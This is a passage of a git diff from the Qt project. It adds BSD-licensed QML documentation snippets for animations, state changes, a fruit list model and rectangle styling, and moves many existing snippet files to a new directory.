"rotated" + } + } + } +} diff --git a/src/qml/doc/snippets/qml/propertyaction.qml b/src/qml/doc/snippets/qml/propertyaction.qml new file mode 100644 index 0000000000..5ddef30177 --- /dev/null +++ b/src/qml/doc/snippets/qml/propertyaction.qml @@ -0,0 +1,83 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +import QtQuick 2.0 + +Row { + + //![transition] + Item { + width: 400; height: 400 + + Rectangle { + id: rect + width: 200; height: 100 + color: "red" + + states: State { + name: "rotated" + PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight } + } + + transitions: Transition { + RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise } + } + + MouseArea { + anchors.fill: parent + onClicked: rect.state = "rotated" + } + } + } + //![transition] + + Item { + width: 300; height: 300 + + Image { id: img; source: "pics/qt.png" } + + //![standalone] + SequentialAnimation { + PropertyAction { target: img; property: "smooth"; value: "true" } + NumberAnimation { target: img; property: "width"; to: 300; duration: 1000 } + PropertyAction { target: img; property: "smooth"; value: "false" } + } + //![standalone] + } +} diff --git a/src/qml/doc/snippets/qml/propertyanimation.qml b/src/qml/doc/snippets/qml/propertyanimation.qml new file mode 100644 index 0000000000..b5781af94a --- /dev/null +++ b/src/qml/doc/snippets/qml/propertyanimation.qml @@ -0,0 +1,100 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 + +Row { + +//![transition] +Rectangle { + id: rect + width: 100; height: 100 + color: "red" + + //! [single state] + states: State { + name: "moved" + PropertyChanges { target: rect; x: 50 } + } + //! [single state] + + transitions: Transition { + PropertyAnimation { properties: "x,y"; easing.type: Easing.InOutQuad } + } +} +//![transition] + +//![behavior] +Rectangle { + width: 100; height: 100 + color: "red" + + Behavior on x { PropertyAnimation {} } + + MouseArea { anchors.fill: parent; onClicked: parent.x = 50 } +} +//![behavior] + +//![propertyvaluesource] +Rectangle { + width: 100; height: 100 + color: "red" + + SequentialAnimation on x { + loops: Animation.Infinite + PropertyAnimation { to: 50 } + PropertyAnimation { to: 0 } + } +} +//![propertyvaluesource] + + //![standalone] + Rectangle { + id: theRect + width: 100; height: 100 + color: "red" + + // this is a standalone animation, it's not running by default + PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 } + + MouseArea { anchors.fill: parent; onClicked: animation.running = true } + } + //![standalone] +} diff --git a/src/qml/doc/snippets/qml/propertychanges.qml b/src/qml/doc/snippets/qml/propertychanges.qml new file mode 100644 index 0000000000..3be13f7861 --- /dev/null +++ b/src/qml/doc/snippets/qml/propertychanges.qml @@ -0,0 +1,91 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![import] +import QtQuick 2.0 +//![import] + +Column { + +//![0] +Item { + id: container + width: 300; height: 300 + + Rectangle { + id: rect + width: 100; height: 100 + color: "red" + + MouseArea { + id: mouseArea + anchors.fill: parent + } + + states: State { + name: "resized"; when: mouseArea.pressed + PropertyChanges { target: rect; color: "blue"; height: container.height } + } + } +} +//![0] + +//![reset] +Rectangle { + width: 300; height: 200 + + Text { + id: myText + width: 50 + wrapMode: Text.WordWrap + text: "a text string that is longer than 50 pixels" + + states: State { + name: "widerText" + PropertyChanges { target: myText; width: undefined } + } + } + + MouseArea { + anchors.fill: parent + onClicked: myText.state = "widerText" + } +} +//![reset] +} diff --git a/src/qml/doc/snippets/qml/qml-data-models/listelements.qml b/src/qml/doc/snippets/qml/qml-data-models/listelements.qml new file mode 100644 index 0000000000..0097423142 --- /dev/null +++ b/src/qml/doc/snippets/qml/qml-data-models/listelements.qml @@ -0,0 +1,77 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//! [document] +import QtQuick 2.0 + +Item { + width: 200; height: 250 + + //! [model] + ListModel { + id: fruitModel + + ListElement { + name: "Apple" + cost: 2.45 + } + ListElement { + name: "Orange" + cost: 3.25 + } + ListElement { + name: "Banana" + cost: 1.95 + } + } + //! [model] + + //! [view] + ListView { + anchors.fill: parent + model: fruitModel + delegate: Row { + Text { text: "Fruit: " + name } + Text { text: "Cost: $" + cost } + } + } + //! [view] +} +//! [document] diff --git a/doc/src/snippets/qml/qml-documents/inline-component.qml b/src/qml/doc/snippets/qml/qml-documents/inline-component.qml index 7e01ca369b..7e01ca369b 100644 --- a/doc/src/snippets/qml/qml-documents/inline-component.qml +++ b/src/qml/doc/snippets/qml/qml-documents/inline-component.qml diff --git a/doc/src/snippets/qml/qml-documents/inline-text-component.qml b/src/qml/doc/snippets/qml/qml-documents/inline-text-component.qml index 2405585b43..2405585b43 100644 --- a/doc/src/snippets/qml/qml-documents/inline-text-component.qml +++ b/src/qml/doc/snippets/qml/qml-documents/inline-text-component.qml diff --git a/doc/src/snippets/qml/qml-documents/non-trivial.qml b/src/qml/doc/snippets/qml/qml-documents/non-trivial.qml index bd1b94a3cc..bd1b94a3cc 100644 --- a/doc/src/snippets/qml/qml-documents/non-trivial.qml +++ b/src/qml/doc/snippets/qml/qml-documents/non-trivial.qml diff --git a/doc/src/snippets/qml/qml-documents/qmldocuments.qml b/src/qml/doc/snippets/qml/qml-documents/qmldocuments.qml index cf60741f0c..cf60741f0c 100644 --- a/doc/src/snippets/qml/qml-documents/qmldocuments.qml +++ b/src/qml/doc/snippets/qml/qml-documents/qmldocuments.qml diff --git a/doc/src/snippets/qml/qtbinding/context-advanced/MyItem.qml b/src/qml/doc/snippets/qml/qtbinding/context-advanced/MyItem.qml index a9b873d4b0..a9b873d4b0 100644 --- a/doc/src/snippets/qml/qtbinding/context-advanced/MyItem.qml +++ b/src/qml/doc/snippets/qml/qtbinding/context-advanced/MyItem.qml diff --git a/doc/src/snippets/qml/qtbinding/context-advanced/applicationdata.h b/src/qml/doc/snippets/qml/qtbinding/context-advanced/applicationdata.h index fc5bbc6400..fc5bbc6400 100644 --- a/doc/src/snippets/qml/qtbinding/context-advanced/applicationdata.h +++ b/src/qml/doc/snippets/qml/qtbinding/context-advanced/applicationdata.h diff --git a/doc/src/snippets/qml/qtbinding/context-advanced/connections.qml b/src/qml/doc/snippets/qml/qtbinding/context-advanced/connections.qml index 01f0cdefb9..01f0cdefb9 100644 --- a/doc/src/snippets/qml/qtbinding/context-advanced/connections.qml +++ b/src/qml/doc/snippets/qml/qtbinding/context-advanced/connections.qml diff --git a/doc/src/snippets/qml/qtbinding/context-advanced/main.cpp b/src/qml/doc/snippets/qml/qtbinding/context-advanced/main.cpp index b9676e4b66..b9676e4b66 100644 --- a/doc/src/snippets/qml/qtbinding/context-advanced/main.cpp +++ b/src/qml/doc/snippets/qml/qtbinding/context-advanced/main.cpp diff --git a/doc/src/snippets/qml/qtbinding/context/MyItem.qml b/src/qml/doc/snippets/qml/qtbinding/context/MyItem.qml index 3abf2411f0..3abf2411f0 100644 --- a/doc/src/snippets/qml/qtbinding/context/MyItem.qml +++ b/src/qml/doc/snippets/qml/qtbinding/context/MyItem.qml diff --git a/doc/src/snippets/qml/qtbinding/context/main.cpp b/src/qml/doc/snippets/qml/qtbinding/context/main.cpp index 0849a845a6..0849a845a6 100644 --- a/doc/src/snippets/qml/qtbinding/context/main.cpp +++ b/src/qml/doc/snippets/qml/qtbinding/context/main.cpp diff --git a/doc/src/snippets/qml/qtbinding/enums/imageviewer.h b/src/qml/doc/snippets/qml/qtbinding/enums/imageviewer.h index df9709953f..df9709953f 100644 --- a/doc/src/snippets/qml/qtbinding/enums/imageviewer.h +++ b/src/qml/doc/snippets/qml/qtbinding/enums/imageviewer.h diff --git a/doc/src/snippets/qml/qtbinding/enums/standalone.qml b/src/qml/doc/snippets/qml/qtbinding/enums/standalone.qml index 5641854175..5641854175 100644 --- a/doc/src/snippets/qml/qtbinding/enums/standalone.qml +++ b/src/qml/doc/snippets/qml/qtbinding/enums/standalone.qml diff --git a/doc/src/snippets/qml/qtbinding/functions-cpp/MyItem.qml b/src/qml/doc/snippets/qml/qtbinding/functions-cpp/MyItem.qml index e5ba588b25..e5ba588b25 100644 --- a/doc/src/snippets/qml/qtbinding/functions-cpp/MyItem.qml +++ b/src/qml/doc/snippets/qml/qtbinding/functions-cpp/MyItem.qml diff --git a/doc/src/snippets/qml/qtbinding/functions-cpp/main.cpp b/src/qml/doc/snippets/qml/qtbinding/functions-cpp/main.cpp index 3d63e055a3..3d63e055a3 100644 --- a/doc/src/snippets/qml/qtbinding/functions-cpp/main.cpp +++ b/src/qml/doc/snippets/qml/qtbinding/functions-cpp/main.cpp diff --git a/doc/src/snippets/qml/qtbinding/functions-cpp/myclass.h b/src/qml/doc/snippets/qml/qtbinding/functions-cpp/myclass.h index 8b6847ca99..8b6847ca99 100644 --- a/doc/src/snippets/qml/qtbinding/functions-cpp/myclass.h +++ b/src/qml/doc/snippets/qml/qtbinding/functions-cpp/myclass.h diff --git a/doc/src/snippets/qml/qtbinding/functions-qml/MyItem.qml b/src/qml/doc/snippets/qml/qtbinding/functions-qml/MyItem.qml index a8b41d55a0..a8b41d55a0 100644 --- a/doc/src/snippets/qml/qtbinding/functions-qml/MyItem.qml +++ b/src/qml/doc/snippets/qml/qtbinding/functions-qml/MyItem.qml diff --git a/doc/src/snippets/qml/qtbinding/functions-qml/main.cpp b/src/qml/doc/snippets/qml/qtbinding/functions-qml/main.cpp index 5c6a0c507d..5c6a0c507d 100644 --- a/doc/src/snippets/qml/qtbinding/functions-qml/main.cpp +++ b/src/qml/doc/snippets/qml/qtbinding/functions-qml/main.cpp diff --git a/doc/src/snippets/qml/qtbinding/loading/MyItem.qml b/src/qml/doc/snippets/qml/qtbinding/loading/MyItem.qml index b496479c95..b496479c95 100644 --- a/doc/src/snippets/qml/qtbinding/loading/MyItem.qml +++ b/src/qml/doc/snippets/qml/qtbinding/loading/MyItem.qml diff --git a/doc/src/snippets/qml/qtbinding/loading/main.cpp b/src/qml/doc/snippets/qml/qtbinding/loading/main.cpp index 98ed4173f9..98ed4173f9 100644 --- a/doc/src/snippets/qml/qtbinding/loading/main.cpp +++ b/src/qml/doc/snippets/qml/qtbinding/loading/main.cpp diff --git a/doc/src/snippets/qml/qtbinding/newelements/imageviewer.h b/src/qml/doc/snippets/qml/qtbinding/newelements/imageviewer.h index 3559951693..3559951693 100644 --- a/doc/src/snippets/qml/qtbinding/newelements/imageviewer.h +++ b/src/qml/doc/snippets/qml/qtbinding/newelements/imageviewer.h diff --git a/doc/src/snippets/qml/qtbinding/newelements/main.cpp b/src/qml/doc/snippets/qml/qtbinding/newelements/main.cpp index 8ab7eb63f4..8ab7eb63f4 100644 --- a/doc/src/snippets/qml/qtbinding/newelements/main.cpp +++ b/src/qml/doc/snippets/qml/qtbinding/newelements/main.cpp diff --git a/doc/src/snippets/qml/qtbinding/newelements/standalone.qml b/src/qml/doc/snippets/qml/qtbinding/newelements/standalone.qml index d2a8926bd0..d2a8926bd0 100644 --- a/doc/src/snippets/qml/qtbinding/newelements/standalone.qml +++ b/src/qml/doc/snippets/qml/qtbinding/newelements/standalone.qml diff --git a/doc/src/snippets/qml/qtbinding/properties-cpp/MyItem.qml b/src/qml/doc/snippets/qml/qtbinding/properties-cpp/MyItem.qml index f2a14d92a4..f2a14d92a4 100644 --- a/doc/src/snippets/qml/qtbinding/properties-cpp/MyItem.qml +++ b/src/qml/doc/snippets/qml/qtbinding/properties-cpp/MyItem.qml diff --git a/doc/src/snippets/qml/qtbinding/properties-cpp/applicationdata.h b/src/qml/doc/snippets/qml/qtbinding/properties-cpp/applicationdata.h index b558e8528f..b558e8528f 100644 --- a/doc/src/snippets/qml/qtbinding/properties-cpp/applicationdata.h +++ b/src/qml/doc/snippets/qml/qtbinding/properties-cpp/applicationdata.h diff --git a/doc/src/snippets/qml/qtbinding/properties-qml/MyItem.qml b/src/qml/doc/snippets/qml/qtbinding/properties-qml/MyItem.qml index 87015eac24..87015eac24 100644 --- a/doc/src/snippets/qml/qtbinding/properties-qml/MyItem.qml +++ b/src/qml/doc/snippets/qml/qtbinding/properties-qml/MyItem.qml diff --git a/doc/src/snippets/qml/qtbinding/properties-qml/main.cpp b/src/qml/doc/snippets/qml/qtbinding/properties-qml/main.cpp index 15cb517c7b..15cb517c7b 100644 --- a/doc/src/snippets/qml/qtbinding/properties-qml/main.cpp +++ b/src/qml/doc/snippets/qml/qtbinding/properties-qml/main.cpp diff --git a/doc/src/snippets/qml/qtbinding/resources/main.cpp b/src/qml/doc/snippets/qml/qtbinding/resources/main.cpp index 2902064fc9..2902064fc9 100644 --- a/doc/src/snippets/qml/qtbinding/resources/main.cpp +++ b/src/qml/doc/snippets/qml/qtbinding/resources/main.cpp diff --git a/doc/src/snippets/qml/qtbinding/resources/main.qml b/src/qml/doc/snippets/qml/qtbinding/resources/main.qml index 670d1a5309..670d1a5309 100644 --- a/doc/src/snippets/qml/qtbinding/resources/main.qml +++ b/src/qml/doc/snippets/qml/qtbinding/resources/main.qml diff --git a/doc/src/snippets/qml/qtbinding/signals-cpp/MyItem.qml b/src/qml/doc/snippets/qml/qtbinding/signals-cpp/MyItem.qml index 17df7704c5..17df7704c5 100644 --- a/doc/src/snippets/qml/qtbinding/signals-cpp/MyItem.qml +++ b/src/qml/doc/snippets/qml/qtbinding/signals-cpp/MyItem.qml diff --git a/doc/src/snippets/qml/qtbinding/signals-cpp/imageviewer.h b/src/qml/doc/snippets/qml/qtbinding/signals-cpp/imageviewer.h index 3423295234..3423295234 100644 --- a/doc/src/snippets/qml/qtbinding/signals-cpp/imageviewer.h +++ b/src/qml/doc/snippets/qml/qtbinding/signals-cpp/imageviewer.h diff --git a/doc/src/snippets/qml/qtbinding/signals-cpp/main.cpp b/src/qml/doc/snippets/qml/qtbinding/signals-cpp/main.cpp index 402e811913..402e811913 100644 --- a/doc/src/snippets/qml/qtbinding/signals-cpp/main.cpp +++ b/src/qml/doc/snippets/qml/qtbinding/signals-cpp/main.cpp diff --git a/doc/src/snippets/qml/qtbinding/signals-cpp/standalone.qml b/src/qml/doc/snippets/qml/qtbinding/signals-cpp/standalone.qml index 33afc1f39c..33afc1f39c 100644 --- a/doc/src/snippets/qml/qtbinding/signals-cpp/standalone.qml +++ b/src/qml/doc/snippets/qml/qtbinding/signals-cpp/standalone.qml diff --git a/doc/src/snippets/qml/qtbinding/signals-qml/MyItem.qml b/src/qml/doc/snippets/qml/qtbinding/signals-qml/MyItem.qml index 9269b51863..9269b51863 100644 --- a/doc/src/snippets/qml/qtbinding/signals-qml/MyItem.qml +++ b/src/qml/doc/snippets/qml/qtbinding/signals-qml/MyItem.qml diff --git a/doc/src/snippets/qml/qtbinding/signals-qml/main.cpp b/src/qml/doc/snippets/qml/qtbinding/signals-qml/main.cpp index 8528d9ce5e..8528d9ce5e 100644 --- a/doc/src/snippets/qml/qtbinding/signals-qml/main.cpp +++ b/src/qml/doc/snippets/qml/qtbinding/signals-qml/main.cpp diff --git a/doc/src/snippets/qml/qtbinding/signals-qml/myclass.h b/src/qml/doc/snippets/qml/qtbinding/signals-qml/myclass.h index 6275de6b2c..6275de6b2c 100644 --- a/doc/src/snippets/qml/qtbinding/signals-qml/myclass.h +++ b/src/qml/doc/snippets/qml/qtbinding/signals-qml/myclass.h diff --git a/doc/src/snippets/qml/qtbinding/variantlistmap/MyItem.qml b/src/qml/doc/snippets/qml/qtbinding/variantlistmap/MyItem.qml index ff4be87795..ff4be87795 100644 --- a/doc/src/snippets/qml/qtbinding/variantlistmap/MyItem.qml +++ b/src/qml/doc/snippets/qml/qtbinding/variantlistmap/MyItem.qml diff --git a/doc/src/snippets/qml/qtbinding/variantlistmap/main.cpp b/src/qml/doc/snippets/qml/qtbinding/variantlistmap/main.cpp index a10b9a8c12..a10b9a8c12 100644 --- a/doc/src/snippets/qml/qtbinding/variantlistmap/main.cpp +++ b/src/qml/doc/snippets/qml/qtbinding/variantlistmap/main.cpp diff --git a/doc/src/snippets/qml/qtobject.qml b/src/qml/doc/snippets/qml/qtobject.qml index 04811b6316..04811b6316 100644 --- a/doc/src/snippets/qml/qtobject.qml +++ b/src/qml/doc/snippets/qml/qtobject.qml diff --git a/src/qml/doc/snippets/qml/rectangle/rect-border-width.qml b/src/qml/doc/snippets/qml/rectangle/rect-border-width.qml new file mode 100644 index 0000000000..6dd4dbe739 --- /dev/null +++ b/src/qml/doc/snippets/qml/rectangle/rect-border-width.qml @@ -0,0 +1,59 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 + +//![0] +Rectangle { + width: 100; height: 100 + color: "lightblue" + + Rectangle { + anchors.fill: parent + anchors.margins: 10 + clip: true + + Rectangle { + anchors.fill: parent + border.width: 1 + } + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/rectangle/rectangle-colors.qml b/src/qml/doc/snippets/qml/rectangle/rectangle-colors.qml new file mode 100644 index 0000000000..70f7a203f4 --- /dev/null +++ b/src/qml/doc/snippets/qml/rectangle/rectangle-colors.qml @@ -0,0 +1,62 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 + +Item { + width: 100; height: 200 + +Item { + x: 10; y: 10 + width: 80; height: 180 + +//! [rectangles] +Rectangle { + color: "#00B000" + width: 80; height: 80 +} + +Rectangle { + color: "steelblue" + y: 100; width: 80; height: 80 +} +//! [rectangles] +} +} diff --git a/src/qml/doc/snippets/qml/rectangle/rectangle-gradient.qml b/src/qml/doc/snippets/qml/rectangle/rectangle-gradient.qml new file mode 100644 index 0000000000..e8146a6467 --- /dev/null +++ b/src/qml/doc/snippets/qml/rectangle/rectangle-gradient.qml @@ -0,0 +1,74 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN 